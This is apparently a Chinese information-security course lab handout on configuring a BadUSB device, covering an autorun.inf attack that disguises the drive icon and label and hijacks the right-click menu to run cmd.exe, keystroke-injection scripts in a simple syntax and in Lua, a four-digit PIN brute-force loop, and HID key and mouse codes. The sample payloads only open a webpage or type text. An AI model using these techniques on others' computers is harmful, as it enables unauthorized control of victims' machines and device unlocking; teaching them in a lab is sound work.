信息安全课程2-BadUsb实验说明
一、按键说明
按住配置按键插入电脑后松开,将进入badusb配置模式,此时电脑中会显示为一个U盘,并且攻击模式关闭,不会进行攻击:
打开U盘,U盘中的autorun.inf即为配置文件,其中简易版只有一个配置文件,即autorun.inf。高级版有两个配置文件,autorun.inf用于autorun攻击,luac.out用于bad_usb攻击。
使用记事本打开配置文件即可编缉
二、配置文件说明
攻击方法有两种:AutoRun攻击与BadUSB攻击
1、AutoRun攻击
配置举例(autorun.inf文件内容):
;AutoRun攻击的配置块,支持同时进行两种攻击。[AutoRun]autoplay=true;伪装的U盘图标icon=c:\windows\system32\shell32.dll,79;驱动器名称label=Kingston;攻击载荷,此处为调用cmd打开网页open=cmd.exe /c "start http://www.nnnxxx.cn"run=cmd.exe /c "start http://www.nnnxxx.cn";劫持右键菜单shell\open=打开(&O)shell\open\Command=cmd.exe /c "start http://www.nnnxxx.cn" shell\opennewwindow=在新窗口中打开(&E) shell\opennewwindow\Command=cmd.exe /c "start http://www.nnnxxx.cn"
Autorun攻击的触发条件是受害者打开盘。当受害者打开盘的时候会自动配置好的攻击。
2、简易版bad_usb攻击
badusb的攻击原理就是伪装为键盘,向计算机自动输入配置好的按键。简易自动支持的语句有限,所有支持的命令如下:
[Enter]:按下回车键[Shift]:按下Shift键[Capslock]:切换大小写[Win]:按下Win键[Win+R]:打开“运行”窗口[Alt+F4]:关闭当前窗口[Win+D]:显示桌面[Win+L]:锁定计算机[Win+E]:打开Windows资源管理器[Ctrl+Alt+Del]:打开安全选项[Delay]:等待500毫秒,两个Delay为1秒,以此类推[Format]:格式化储存(U盘自身)正常按键比如a-z直接输入即可
对于简易版,badusb的配置文件与autorun是同一个文件,加入下面的内容即可,简易版举例(autorun.inf文件内容):
[BadUSB][Win+R][Delay][Delay]notepad[Enter][Delay]Hello World[Enter][Win+R][Delay][Delay]https://www.nnnxxx.cn[Enter][BadUSB]
3、高级版bad_usb攻击
高级版使用了高性能的芯片和存储,并且进行了功能升级,但是使用复杂度也大幅提高,对于初学者建议用简易版即可。高级版与简易版的主要区别在于高级版提供了一个完整的编程语言,支持控制语句,比如if、while等,用户可以自己编写更为复杂的程序,同时高级版还支持所有按键与鼠标模拟,支持随机数与自定义延迟。
高级版内置的解释器核心为Lua,支持Lua4.0及以前的语法。
举例:编写以下lua脚本,并预编译后放入U盘中
pp=1000i=3delay(1000)raw_key(128,21)delay(500)keys('notepad')keys('\n')delay(500)while i>1 do keys('Hello-') delay(pp) i = i-1end delay(500)raw_key(128,21)delay(500)keys('http://www.nnnxxx.cn') keys('\n')delay(pp)mouse(0,100,0,0)delay(pp)mouse(0,0,100,0)delay(pp)null_mouse();
工具将会控制电脑输出10个字符串bb,然后打开运行,输入http://nnnxxx.cn回车访问,然后鼠标向右移动100像素,然后向下移动100像素。
更多的例子如下:
输出0000-9999四位密码:
for i = 0, 9 do for j =0,9 do for k=0,9 do for m=0,9 do raw_key(0,30+i) raw_key(0,30+j) raw_key(0,30+k) raw_key(0,30+m) end end endend
每1秒向上滑动手机屏幕
while 1 donull_mouse() delay(15)mouse(1,0,0,0) delay(10)mouse(1,0,158,0)delay(10)mouse(1,0,158,0)delay(10)mouse(1,0,158,0)delay(10)mouse(1,0,158,0) delay(10)null_mouse()delay(2000) mouse(0,0,98,0)delay(5)mouse(0,0,98,0)delay(5)mouse(0,0,98,0)delay(5)mouse(0,0,98,0)delay(5)delay(2000)end
其它功能用户可自己开发
lua脚本编写完成后要使用luac4把脚本预编译,然后把预编译生成的luac.out放到U盘根目录即可。
luac4的下载地址:LuaBinaries – luac4
编译命令:
luac4.exe -s 脚本名脚本名替换为你的脚本名称,命令执行完会在当前目录生成luac.out,把这个文件拷到U盘根目录即可。
导出函数说明:
keys(string str):连续输入一串字符,参数为字符串,支持转义字符,比如\nraw_key(int function_key, int str_key):原始按键,只接受十进制功能键码和一个普通键码。mouse(int a, int b, int c, int d): 鼠标操作,四个参数为HID的四字节码,十进制。null_mouse(): 释放鼠标所有按键。delay(int dura):延迟函数,参数为毫秒数。random(int max):生成一个不大于max的随机整数format():格式化U盘,盘是特殊格式,只能使用这个命令格式化,不能在windows下手动格式化。
键盘码:
/* HIDKey *///HIDKey[0]// 0字节bit位:多个功能键同时按则将键码相加即可// 0:左Ctrl// 1: 左Shift// 2: 左Alt// 3: 左GUI// 4:右Ctrl// 5:右Shift// 6:右Alt// 7:右GUI// 1字节保留// 2-7字节为按键
鼠标码:
*鼠标发送给PC的数据每次4个字节*BYTE1 BYTE2 BYTE3 BYTE4*定义分别是:*BYTE1 –|–bit7: 1 表示 Y 坐标的变化量超出-256 ~ 255的范围,0表示没有溢出|–bit6: 1 表示 X 坐标的变化量超出-256 ~ 255的范围,0表示没有溢出|–bit5: Y 坐标变化的符号位,1表示负数,即鼠标向下移动|–bit4: X 坐标变化的符号位,1表示负数,即鼠标向左移动|–bit3: 恒为1|–bit2: 1表示中键按下|–bit1: 1表示右键按下|–bit0: 1表示左键按下BYTE2 – X坐标变化量,与byte的bit4组成9位符号数,负数表示向左移,正数表右移。用补码表示变化量BYTE3 – Y坐标变化量,与byte的bit5组成9位符号数,负数表示向下移,正数表上移。用补码表示变化量BYTE4 – 滚轮变化。
三、攻击说明
1、配置完成后保存弹出U盘,不要按键插入电脑即可实施攻击。简易版性能要慢一些,大约插入7-10秒后才会开始攻击。
2、BadUSB攻击原理为模拟成HID键盘,理论上支持所有支持HID的系统,比如linux、windows、android等,但不同的操作系统命令不一样,比如WIN+R键在windows中是打开运行,在其它的系统不一定是这个,针对不同的系统可以配置为不同的按键。
夜雨聆风